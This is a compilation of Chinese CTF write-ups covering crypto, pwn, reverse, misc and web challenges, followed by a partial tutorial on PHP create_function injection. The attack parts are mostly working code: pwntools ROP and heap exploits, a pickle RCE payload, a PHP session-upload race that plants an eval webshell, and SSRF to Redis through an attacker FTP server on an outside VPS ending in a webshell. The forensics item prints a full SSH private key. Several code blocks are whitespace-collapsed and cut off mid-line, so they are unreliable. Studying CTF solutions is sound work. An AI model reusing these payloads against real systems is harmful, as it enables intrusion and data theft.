+++++ +++++ ++++ ++++ +++++ +++++
+++++ +++++ ++++ >>++ +++[< +++++
+++++ +++++ ++++ >-]> +++++ +++[<
+++++ +++++ +>-] >+++ +++[< +++++
+++++ +++++ ++>- ]>++ +++++ [<+++
+++++ +++++ ++>- ]+++ +++++ +++++
+++++ +++++++++++++++++++++++++++ ++++ ++++ +++++++++++++++++++++++++++++
+++++ ++++++++++++++>>++[<+++++++ ++++ ++++ +++++++++++++++++++++++++++++
+++++ ++++++++++>-]>+++++[<++++++ ++++ ++++ +++++>-]>+++++++[<+++++++>-]>
++++ ++++
[<+++ +++++
+>-]>+++++[<+++++++++++++++++++>-]>++++[<+++++++++++++>-]>+++++[<+++++++++++++++++++>-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>++++++[<
++++++++>-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>+++++++[<+++++++++++++++++>-
]>++[<+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>-]>+++++++[<+++++++++++++++>-]>+++++++++[<+++++++++++++>-]>++++++[<+++++++++++++++++
>-]>+++[<+++++++++++>-]>+++++[<+++++++++++++++++++>-]>++++++++++[<++++++++++++>-]>++++++[<+++++++++++++++++>-]>+++++++[<+++++++++++++++>-]++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>++[<+++++++++++++++++++++++++++++++++++++++++++++++++++++++
++++>-]>+++++[<+++++++++++++++++++++++++>-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>>+++
+++[<+++++++++++++++++++>-]<.>>++++++[<+++++++++++++++++++>-]<.>>+++[<+++++++++++++++++++++++++++++++++++++>-]<.>>++++++[<+++++++++++++++++++>-]<.>
然后解brainfuck可以得到
uozt{SrRyvig_Xfiev_1H_4_ee0mwviuf!_xfiev}
放到编码器里面发现是atbash
对应位置修改下大小写
flag{HiIbert_Curve_1S_4_vv0nderfu!_curve}
Crypto
1、 baby_rsa
to small? leak?
from Crypto.Util.number import long_to_bytes
from gmpy2 import invert, is_prime
from tqdm import tqdm
primes = []
for xy in tqdm(range(500)):
for mn in range(500):
prime = xy**(mn+1) - (xy+1)**mn
if prime.bit_length() > 2048: break
if is_prime(prime):
primes.append(prime)
c = 15808773921165746378224649554032774095198531782455904169552223303513940968292896814159288417499220739875833754573943607047855256739976161598599903932981169979509871591999964856806929597805904134099901826858367778386342376768508031554802249075072366710038889306268806744179086648684738023073458982
for i in range(len(primes)):
for j in range(i, len(primes)):
pq = primes[i]*primes[j]
if len(bin(pq)[2:]) == 2048:
try:
d = invert(0x10001, (primes[i]-1)*(primes[j]-1))
dec = long_to_bytes(pow(c, d, pq))
if b"flag{" in dec:
print(dec)
except ValueError:
pass
已知((fac[0]+fac[1]+fac[2]) << 1) - 1的值,用其替代n。分解((fac[0]+fac[1]+fac[2]) << 1) - 1求其欧拉函数,进而求解出d和第二段。
import gmpy2
from Crypto.Util.number import *
def main():
_n = 39796272592331896400626784951713239526857273168732133046667572399622660330587881579319314094557011554851873068389016629085963086136116425352535902598378739
e = 0x10001
c = 4062598101725026294523054845073895172556652025216341012456562212675473969368127164912710410903816485278776729640369746247545967054084582215039763992301322310291267474840242750158801886649087839467848206156152125336555002907556550798823272903205529899279271257456970484607551462482465412769174
phi_n = (191 - 1) * (193 - 1) * (627383 - 1) * (1720754738477317127758682285465031939891059835873975157555031327070111123628789833299433549669619325160679719355338187877758311485785197492710491 - 1)
d = gmpy2.invert(e, phi_n)
m = pow(c % _n, d, _n)
print(long_to_bytes(m))
if __name__ == '__main__':
main()
###
Web
1、java_url
一道Java_URL。
Tomcat/8.5.71
读 /../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF//web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>testurl</servlet-name>
<servlet-class>com.test2.aaa1.testURL</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>testurl</servlet-name>
<url-pattern>/testURL</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>download</servlet-name>
<servlet-class>com.test2.aaa1.download</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>download</servlet-name>
<url-pattern>/download</url-pattern>
</servlet-mapping>
</web-app>
读 /../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/com/test2/aaa1/testURL.class
得到class文件
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URL;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class testURL extends HttpServlet {
protected void doGet(HttpServletRequest arg1, HttpServletResponse arg2) throws ServletException, IOException {
this.doPost(arg1, arg2);
}
protected void doPost(HttpServletRequest arg6, HttpServletResponse arg7) throws ServletException, IOException {
String tartget_url = arg6.getParameter("url");
if(tartget_url.substring(0, tartget_url.indexOf(":")).matches("(?i)file|(?i)gopher|(?i)data")) {
arg7.getWriter().write(String.valueOf(new StringBuilder().append("false")));
return;
}
arg7.getWriter().write(String.valueOf(this.getContent(tartget_url)));
}
public StringBuilder getContent(String arg8) throws IOException {
BufferedReader in = new BufferedReader(new InputStreamReader(new URL(arg8).openConnection().getInputStream()));
StringBuilder content = new StringBuilder();
while(true) {
String inputLine = in.readLine();
if(inputLine == null) {
return content;
}
content.append(inputLine);
content.append("\n");
}
return content;
}
}
读flag的payload /testURL?url=url:file:///flag
2、EZ_python
樱桃猫写了自己的第一个flask网站,你能帮他看看有什么问题吗?
网刃杯的easy_web,原题
文件读取,/proc/self/cmdline
app.py
import pickle
import base64
from flask import Flask, request
from flask import render_template,redirect,send_from_directory
import os
import requests
import random
from flask import send_file
app = Flask(__name__)
class User():
def __init__(self,name,age):
self.name = name
self.age = age
def check(s):
if b'R' in s:
return 0
return 1
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
if check(user):
user = pickle.loads(user)
username = user["username"]
else:
username = "bad,bad,hacker"
except:
username = "CTFer"
pic = '{0}.jpg'.format(random.randint(1,7))
try:
pic=request.args.get('pic')
with open(pic, 'rb') as f:
base64_data = base64.b64encode(f.read())
p = base64_data.decode()
except:
pic='{0}.jpg'.format(random.randint(1,7))
with open(pic, 'rb') as f:
base64_data = base64.b64encode(f.read())
p = base64_data.decode()
return render_template('index.html', uname=username, pic=p )
if __name__ == "__main__":
app.run('0.0.0.0',port=8888)
读 /proc/self/environ 没用
MAIL=/var/mail/appUSER=appHOSTNAME=engine-1SHLVL=1PYTHON_PIP_VERSION=20.1HOME=/home/appGPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568LOGNAME=app_=/bin/suPYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/1fe530e9e3d800be94e04f6428460fc4fb94f5a9/get-pip.pyTERM=xtermPATH=/usr/local/bin:/usr/loca
网刃原题
import requests
import pickle
import base64
# e = 'ls / -a'
e = 'cat /flagggggggggggggaaa'
s = pickle.dumps(e)
# print(s)
payload = b'c__main__\nUser\n)\x81}(V__setstate__\ncos\nsystem\nubV' + \
e.encode()+b' > /tmp/1.txt\nb.'
response = requests.get("http://eci-2zecbk1aefg5marnfo77.cloudeci1.ichunqiu.com:8888/?pic=/tmp/1.txt",
cookies=dict(
user=base64.b64encode(payload).decode()))
for l in response.content.decode().split("\n"):
if "base64" in l:
l = l.split("\"")[1].split(",")[1]
print(base64.b64decode(l).decode())
flag{2e4af838-7d23-4b04-a77a-1519e8b14e8f}
更多好文,尽请期待!https://www.yijinglab.com/pages/CTFLaboratory.jsp
羊城杯WP
Pwn
1、Babyrop
栈溢出,且存在后门函数;
利用func1将'/cin/sh'修改为'/bin/sh',
利用func2调用参数执行system('/bin/sh')即可
#!usr/bin/env python
#-*- coding:utf8 -*-
from pwn import *
#p = process("./BabyRop")
p = remote("192.168.39.161", 11000)
elf = ELF("./BabyRop")
payload = flat([
'a'*(0x28+4),
0x80491fd, #func1
0x8049332, # ret address ;pop rdx r15 ;ret
0x804c024,
1,
0x80491d6, #func2:system
0x80491d6,
0x804c024
])
p.sendline(payload)
p.interactive()
2、Whats your name
Libc 2.23 + off by null:
Off by null使得下个相邻chunk的pre_inuse置零;然后伪造pre_size,以及fake chunk的fd,bk,之后释放pre_inuse置零的chunk,实现unlink,造成堆块重叠;
最后覆写重叠堆块上存在的函数指针,改为setcontext+53,并提前布置好orw的rop链,调用show函数时,触发orw读出flag;
#!usr/bin/env python
#-*- coding:utf8 -*-
from pwn import *
pc="./name"
#p=process(pc,env={"LD_PRELOAD":"./libc.so.6"})
p = remote(192.168.39.161,9999)
ru = lambda x : p.recvuntil(x,timeout=0.2)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,'\x00'))
rv6 = lambda : u64(rv(6)+'\x00'*2)
what_idx="index:"
def add(size):
ru("5.exit\n")
sl("1")
ru("name size:")
sl(str(size))
def edit(idx,c):
ru("5.exit\n")
sl("2")
ru(what_idx)
sl(str(idx))
ru("name:")
sl(c)
def show(idx):
ru("5.exit\n")
sl("3")
ru(what_idx)
sl(str(idx))
def dele(idx):
ru("5.exit\n")
sl("4")
ru(what_idx)
sl(str(idx))
add(0x100) #0
add(0x100) #1
dele(0)
add(0x30)
show(0)
libc_base = ru7f() - 0x3c4b78 -0xe0
setcontext_53 = libc_base + libc.sym['setcontext'] + 53
add(0x10) #2
show(2)
ru('\n') #这里需要根据具体情况调试
heap_addr = rv6() - 0xad0
dele(0)
add(0x48) #0
add(0x100) #3
pay = flat([
0,0x41,
heap_addr+0xc8-0x18,heap_addr+0xc8-0x10,
'a'*0x20,
0x40
])
edit(0,pay)
edit(3,'a'*0xf0+p64(0x100)+p64(0x121))
dele(3)
add(0x10) #3
add(0xa8-0x20) #4
add(0xc0) #5
srop_addr = heap_addr+0xb30
pay = flat([
0,0x21,
setcontext_53,srop_addr
])
edit(0,pay)
syscall = libc_base + 0xbc3f5
p_rdi = libc_base + 0x21112
p_rsi = libc_base + 0x202f8
p_rax_rdx_rbx = libc_base + 0x1436b1
ret = p_rsi+1
rop_base = heap_addr + 0xc60
edit(5,'\x00'*0xa0+p64(rop_base)+p64(ret))
flag_str_addr = heap_addr
flag_addr=rop_base+0xd8
payload=flat([
p_rdi,flag_addr,
p_rsi,4,
p_rax_rdx_rbx,2,4,0,
syscall,
p_rdi,3,
p_rsi,flag_str_addr,
p_rax_rdx_rbx,0,0x50,0,
syscall,
p_rdi,1,
p_rsi,flag_str_addr,
p_rax_rdx_rbx,1,0x50,0,
syscall,
'flag\x00'
])
edit(1, payload)
show(0)
p.interactive()
3、Nologin
查看保护:
存在栈溢出的点:
第一次溢出劫持rbp,再返回到溢出函数;
第二次溢出,首先往bss段上读orw的gadget,其中pop rdx要自己写到bss上;
然后栈迁移到bss段上,执行orw
#!usr/bin/env python
#-*- coding:utf8 -*-
from pwn import *
pc="./nologin"
reomote_addr=["",40001]
context.log_level="debug"
# p=process(pc)
p = remote("192.168.39.161",40001)
ru = lambda x : p.recvuntil(x,timeout=0.2)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,'\x00'))
rv6 = lambda : u64(rv(6)+'\x00'*2)
p.sendlineafter("input>> \n","2")
flag_addr = 0x0602020+0x400
str_addr = 0x0602050
p.sendlineafter(">password: \n","1"*5+p64(flag_addr)+p64(0x400FF8))
# rax=0x602420
p.sendafter("password: \n","a"*0xd+p64(0x4009BC)+"a"*9 )
read_addr = 0x400780
open_addr = 0x4007B0
puts_addr = 0x400730
p_rdi = 0x401173
p_rsi_r15 = 0x401171
p_rdx = 0x6024b0
orw = flat([
p_rdi,flag_addr,
p_rsi_r15,0,0,
open_addr,
p_rdi,4,
p_rsi_r15,str_addr,0,
p_rdx,0x40,
read_addr,
p_rdi,str_addr,
puts_addr
])
p.sendline(("./flag".ljust(8,'\x00')+orw+asm("pop rdx\nret\n")) )
p.interactive()
Re
1、Android
将apk文件拉到jeb中进行分析,发现checkflag的关键逻辑在activity层
可以看到是一个base64算法,但是base表要通过和服务器交互得到
main里面有交互的代码
远程连接端口,输入的值进行md5,之后每字节减1为c232666f1410b3f5010dc51cec341f58
直接进行在线解密
之后连接端口取得变表,base解密得到flag为
SangFor{212f4548-03d1-11ec-ab68-00155db3a27e}
2、vm
分析程序,将程序smc动调自解密后,发现是一个vm
动态调试 跟进程序逻辑,发现 vm就是前32字节就是取数据单字节异或,后面的12字节分为3组进行相同的加密
得到以下关键点:
前32字节最后比较的地方
取输入
前三十二字节的异或
之后三组加密对比密文的地方:
同时跟进加密逻辑为
data = (data >> 5)^data
data = ((tmp << 7)&2565961507)^ data
data = ((tmp << 0x18)&904182048)^ data
data = (tmp >> 0x12)^ data
这三组用z3进行约束求解
之后 分段解密得到flag字符串为16584abc45baff901c59dde3b1bb6701a254b06cdc23
3、smc
首先搜索字符串定位关键代码
动态调试,让程序自解密得到代码如下:
分析发现就是将程序进行base64变表加密之后再与四个数字进行异或
跟到base变表如下:
之后直接上脚本解密
#include<iostream>
#include <iomanip>
using namespace std;
int main()
{
int table[64] = {0xE4,0xC4,0xE7,0xC7,0xE6,0xC6,0xE1,0xC1,0xE0,0xC0,0xE3,0xC3,0xE2,0xC2,0xED,0xCD,0xEC,0xCC,0xEF,0xCF,0xEE,0xCE,0xE9,0xC9,0xE8,0xC8,0xEB,0xCB,0xEA,0xCA,0xF5,0xD5,0xF4,0xD4,0xF7,0xD7,0xF6,0xD6,0xF1,0xD1,0xF0,0xD0,0xF3,0xD3,0xF2,0xD2,0xFD,0xDD,0xFC,0xDC,0xFF,0xDF,0x95,0x9C,0x9D,0x92,0x9
int code[56] = {0x48,0x3E,0x6F,0x51,0x6E,0x36,0x61,0x71,0x4C,0x72,0x7B,0x44,0x48,0x36,0x6F,0x64,0x68,0x64,0x6D,0x30,0x64,0x4D,0x65,0x60,0x4D,0x42,0x6F,0x3F,0x6C,0x52,0x67,0x6C,0x48,0x74,0x47,0x50,0x4F,0x64,0x6F,0x62,0x44,0x6C,0x6B,0x6E,0x65,0x6A,0x6D,0x47,0x49,0x7C,0x67,0x68,0x44,0x62,0x3C,0x34};
for(int k=0;k<56;k+=4)
{
code[k] ^= 0xa6;
code[k+1] ^= 0xa3;
code[k+2] ^= 0xa9;
code[k+3] ^= 0xac;
}
int a[56];//下标
for(int j=0;j<56;j++)
for(int i=0;i<64;i++)
if(table[i]==code[j])
a[j]=i;
int len = 56;
int flag[56];
j=0;
int i=0;
do
{
flag[j] = (a[i]<<2) | (a[i+1]>>4); //取出第一个的前6位与第二个后2位进行组合
flag[j+1] = ((a[i+1] & 0xf)<<4) | (a[i+2]>>2); //取出第二个的后4位与第三个的后4位进行组合
flag[j+2] = ((a[i+2] & 0x3)<<6) | (a[i+3]);//取出第三个字符的后2位与第4个字符进行组合
j+=3;
i+=4;
}
while(i<len-2);//8/4*3=6
cout<<"V8:"<<endl;
for(i=0;i<56;i+=4)
{
printf("%c%c%c%c", flag[i], flag[i+1], flag[i+2], flag[i+3]);
}
return 0;
}
4、Deltx
分析程序,发现输入应该为41位,然后将SangFor{}里面的数据分为八组,每组4byte
之后后面的判断实际都是判断相乘和相加的结果
直接列出方程在线解密
-v16 + v10 = -42564
v16*v10=614340037
得到v16 = 0xD2BF v10 = 0x2C7B
以此类推 得到flag为
SangFor{2C7BD2BF862564baED0B6B6EA94F15BC}
Misc
1、签到
根据图片含义推断数字含义,比较脑洞,对gif逐帧分离后
28-08-30-07-04-20-02-17-23-01-12-19
求一下md5 d93b7da38d89c19f481e710ef1b3558b
2、赛博德国人
压缩包的hint
流量包导出pdf 和 txt
还可以找到密码为d279186428a75016b17e4df5ea43d080230 打开pdf有密钥
然后engima解密得到475748547berta36623936373230356665373537393566313034383537316366346366623730337dora
德语单词和十六进制转化后得到GWHT{6b967205fe75795f1048571cf4cfb703}
3、misc520
150号压缩包里面提取到
72, 89, 75, 88, 128, 93, 58, 116, 76, 121, 120, 63, 108,
解压0号压缩包,并从flag.png中提取压缩包,爆破密码,得到流量包如下:
不支持在 Docs 外粘贴 block
类似xnuca那个鼠标流量,还原鼠标流量画图
前后两部分字符串拼接起来,asc偏移解密
GWHT{W3lCom3_t0_M!sc}
4、Baby_Forenisc
vol,cmdscan发现要找git号,过滤git有关内容
发现ssh.txt连接github的私钥
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
putty加载
发现了一个邮箱,去GitHub搜索,是个手机app
下载APP文件,在里面找到一个htm,有段base
U2FuZ0ZvcntTMF8zYXp5XzJfY3JhY2tfbm9vYl9wbGF5ZXJ9
解base64即可
Crypto
1、Rsa?
读getloop函数,有:
(x1+a*y1)(mod n)=((X+aY)^65536)(mod n)
因为 a=((inv_Z1-X)*inv_Y)%n,
所以 (x1+a*y1)(mod n)=(inv_Z1^65536)(mod n)
yafu分解n
求得inv_Z1,Z1,X
X+aY=inv_Z1
故 Y=((inv_Z1-X)*inv_a)(mod n)
from gmpy2 import invert
from Crypto.Util.number import long_to_bytes
n = 13390709926509813526471364597371124446888078365567927211781799241724742352679484983709219580483800891886832613684875066109177882219522305348565532970795023
p = 115718235064789220654263009993128325569382592506655305434488398268608329541037
q = 115718235064789220654263009993128324769382192706654302434478391267607309966379
phin = (p - 1) * (q - 1)
x1 = 5404548088049249951619519701935576492239293254135836357417714329205323074367876875480850741613547220698045360461761929952847796420174204143917852624050110
y1 = 2110372753170830610718226848526649992911771424441223687775304654852191999130502986109306355582366065947895295520226816523397652918227241733632791793362785
e = 65537
a = 1762039418842677123086894939949574689744108610561557889235294034870342076452734215004689409493802437034960516295735815195656138656970901855976802991519141
d = invert(e, phin)
inv_Z1 = pow((x1 + a * y1) % n, d, n)
Z1 = invert(inv_Z1, n)
inv_2 = invert(2, n)
X = ((Z1 + inv_Z1) * inv_2) % n
Y = ((inv_Z1 -X) * invert(a, n)) % n
print(long_to_bytes(Y))
flag:GWHT{pell_equation_is_very_interesting}
2、Bigrsa
模不互素攻击。p可以从greatest common factor(n1、n2)得到,
求出q1、q2,就可以有私钥解密了
import math
from gmpy2 import invert
from Crypto.Util.number import *
n1 = 1038352964090817518607705355147465868153958984272603343256803136483691326610578406808232955122369489533708955684197213311708345578125414683092988194972677468928145838064230271673828254791579513658230856390787388476476344068413313070355938107129145453472016190042536026921273702658330920825430671
n2 = 1153831985846771474875560143364483107218538411687580124456341828141803144805018289271600710151970894560424721858508938473704818173258688240762452907357497173847696616988950001764414972423718739813536896077111468528915514911685287998143119924714496400145018587634954722671682240156659066273824905
e = 65537
c = 60406168302768860804211220055708551816238816061772464557956985699400782163597251861675967909246187833328847989530950308053492202064477410641014045601986036822451416365957817685047102703301347664879870026582087365822433436251615243854347490600004857861059245403674349457345319269266645006969222744
p = math.gcd(n1, n2)
print(p)
p = 10210039189276167395636779557271057346691950991057423589319031237857569595284598319093522326723650646963251941930167018746859556383067696079622198265424441
q1 = n1 // p
q2 = n2 // p
phin1 = (p - 1) * (q1 - 1)
phin2 = (p - 1) * (q2 - 1)
d1 = invert(e, phin1)
d2 = invert(e, phin2)
m = pow(c, d2, n2)
m = pow(m, d1, n1)
print(long_to_bytes(m))
flag:SangFor{qSccmm1WrgvIg2Uq_cZhmqNfEGTz2GV8}
3、RingRingRing
import stringimport pwnfrom pwnlib.util.iters import mbruteforcefrom hashlib import md5def main(): r = pwn.remote("192.168.39.161", 2378) msg = r.recvuntil('xxxxx:').decode() suffix = msg[msg.find(' + ') + 3: msg.find(')')] cipher = msg[msg.find('==') + 3: msg.find('\n')] proof = mbruteforce(lambda
flag:GWHT{a_funny_equation}
4、MISS
https://github.com/Mathsyo/CTFs/tree/2630cdb64799774020d32107ff0ebcf269c64535/MidnightFlagCTF/Cryptography/Something_missingS_BOX = [ 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf
flag:SangFor{cb4_k27}
5、Easy_Rsa
(p-1)和(q-1)有公共的大质数因数g,用魔改的rho方法分解n
https://0xdktb.top/2020/02/28/Summary-of-Crypto-in-CTF-RSA/中U13
from Crypto.Util.number import *from gmpy2 import invertdef f(x, n): return (pow(x, n - 1, n) + 3) % ndef rho(n): i = 1 while True: a = getRandomRange(2, n) b = f(a, n) j = 1 while True: p = GCD(abs(a - b), n) # print('{} in {} circle'.format(j, i)) if p == n: break elif p > 1: return (p, n // p) el
flag:SangFor{0a8c2220-4c1b-32c8-e8c1-adf92ec7678b}
Web
1、only 4
https://www.freebuf.com/vuls/202819.html 条件竞争的脚本直接打
#coding=utf-8import ioimport requestsimport threadingsessid = 'bad_cat'data = {"cmd":"system('cat /flag');"}def write(session): while True: f = io.BytesIO(b'a' * 1024 * 50) resp = session.post( 'http://192.168.39.161:8000/index.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>
回显flag
2、cross the side
ssrf打6379的redis,过程和脚本参考
https://github.com/Maskhe/evil_ftphttps://www.cnblogs.com/zpchcbd/p/14702897.htmlpayload用 https://github.com/tarunkant/Gopherus 生成
自己vps跑个恶意ftp:
# -*- coding: utf-8 -*-# @Time : 2021/1/13 6:56 下午# @Author : tntaxin# @File : ftp_redirect.py# @Software:import socketfrom urllib.parse import unquote# 对gopherus生成的payload进行一次urldecodepayload = unquote("%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0
发包
POST /_ignition/execute-solution HTTP/1.1Host: 192.168.39.161:8077Content-Type: application/jsonContent-Length: 194{ "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "ftp://aaa@81.70.59.112:23/123" }}
访问发现写进去了,antsword连接 http://81.70.59.112:23/shell.php 根目录flag
https://www.yijinglab.com/pages/CTFLaboratory.jsp
从本地到WordPress代码注入
什么是create_function?
版本影响:
注意:create_function在PHP7.2.0之后被废弃,因此该函数的适用范围在PHP 4 >= 4.0.1、PHP 5、 PHP 7<=7.2.0
简单讲解:
首先还是先看PHP手册,PHP官方对create_function是这么定义的:
首先该函数有两个参数,一个是函数参数,另一个是函数主体代码,并且该函数的范围值即为函数名。
举个例子:
<?php
$Lxxx = create_function('$str' , 'echo $str;phpinfo();');
echo $Lxxx;
echo "<br>";
echo $Lxxx("hello");
我们新建一个函数,名称为Lxxx,并且该函数的用途就是打印输出传入的字符串以及phpinfo页面。
此时我们访问页面如下:
可以看到,这个时候打印输出了hello以及phpinfo页面
除此之外,我们可以发现函数名是一串以lambda开头的字符串,也就是匿名函数。
这里我们可以发现,如果我们传入create_funtion中的第二个参数可控,那么我们就可以进行命令执行。
如何利用create_function()进行注入?
想要知道如何利用它进行注入,我们还得看看PHP官方手册是怎么说的:
其实就是需要我们注意,这个函数本身就是在内部执行eval函数,
因此我们可以将上方的代码改写成另一种等价的形式:
<?php
function lambda_6($str){
echo $str;
phpinfo();
}
?>
那我们试想,既然这个函数参数可控,并且内部执行了eval函数,我们能否利用它进行RCE呢?
假设我们有以下代码:
<?php
$ctf = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/i',$ctf)) {
$ctf('',$_GET['Lxxx']);
}
其中传入的ctf参数不能以字母数字下划线开头,而Lxxx参数对于我们来说是完全可控的。
既然如此我们可以考虑使用create_function函数,但是这个时候会出现一个问题,传入的ctf参数不能以字母数字下划线开头,否则会产生匹配无法进入语句。
问题一:
那么该如何又使用create_function函数,又不以字母开头呢?
分析一:
答案就是:使用反斜杠。
因为在PHP中默认的命名空间为\,也就是说,所有的原生函数以及各种原生类,都是在\这个命名空间下,平常我们使用的各种函数,默认都是直接写函数名,但是并没有管命名空间,不写\调用函数相当于是一个相对路径,同理,既然有相对路径,那么就会有绝对路径。也就是说当我们调用函数的时候,如果函数的命名空间在\下,我们使用\function_name()的方式调用函数,同样也是可以的
问题二:
对于下方代码,虽然参数可控,但是除了命令以外,还有}这个不可控字符,如果存在这个字符会报错,该怎么办?
<?php
